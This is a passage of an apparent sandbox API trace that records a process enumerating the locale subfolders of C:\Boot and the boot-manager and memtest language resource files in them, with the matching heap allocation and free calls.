	[0205.527] FindClose (in: hFindFile=0x652518 | out: hFindFile=0x652518) returned 1
	[0205.527] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.527] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0205.527] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.527] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652618
	[0205.527] FindNextFileW (in: hFindFile=0x652618, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.527] FindNextFileW (in: hFindFile=0x652618, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.528] FindNextFileW (in: hFindFile=0x652618, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0205.528] FindNextFileW (in: hFindFile=0x652618, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0205.528] FindClose (in: hFindFile=0x652618 | out: hFindFile=0x652618) returned 1
	[0205.528] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.528] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0205.528] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.528] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652798
	[0205.528] FindNextFileW (in: hFindFile=0x652798, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.529] FindNextFileW (in: hFindFile=0x652798, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.529] FindNextFileW (in: hFindFile=0x652798, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0205.529] FindClose (in: hFindFile=0x652798 | out: hFindFile=0x652798) returned 1
	[0205.529] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.529] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0205.529] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.529] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652618
	[0205.530] FindNextFileW (in: hFindFile=0x652618, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.530] FindNextFileW (in: hFindFile=0x652618, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.530] FindNextFileW (in: hFindFile=0x652618, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0205.530] FindNextFileW (in: hFindFile=0x652618, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0205.531] FindClose (in: hFindFile=0x652618 | out: hFindFile=0x652618) returned 1
	[0205.531] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.531] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0205.531] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.531] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652618
	[0205.531] FindNextFileW (in: hFindFile=0x652618, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.531] FindNextFileW (in: hFindFile=0x652618, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.532] FindNextFileW (in: hFindFile=0x652618, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0205.532] FindNextFileW (in: hFindFile=0x652618, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0205.532] FindClose (in: hFindFile=0x652618 | out: hFindFile=0x652618) returned 1
	[0205.532] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.532] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0205.532] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.532] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652598
	[0205.532] FindNextFileW (in: hFindFile=0x652598, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.532] FindNextFileW (in: hFindFile=0x652598, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.533] FindNextFileW (in: hFindFile=0x652598, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0205.533] FindNextFileW (in: hFindFile=0x652598, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0205.533] FindClose (in: hFindFile=0x652598 | out: hFindFile=0x652598) returned 1
	[0205.533] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.533] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0205.533] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.533] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652258
	[0205.533] FindNextFileW (in: hFindFile=0x652258, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.533] FindNextFileW (in: hFindFile=0x652258, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.534] FindNextFileW (in: hFindFile=0x652258, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0205.534] FindNextFileW (in: hFindFile=0x652258, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0205.534] FindClose (in: hFindFile=0x652258 | out: hFindFile=0x652258) returned 1
	[0205.534] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.534] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0205.534] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.534] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652218
	[0205.534] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.534] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.535] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0205.535] FindClose (in: hFindFile=0x652218 | out: hFindFile=0x652218) returned 1
	[0205.535] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.535] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0205.535] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.535] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652598
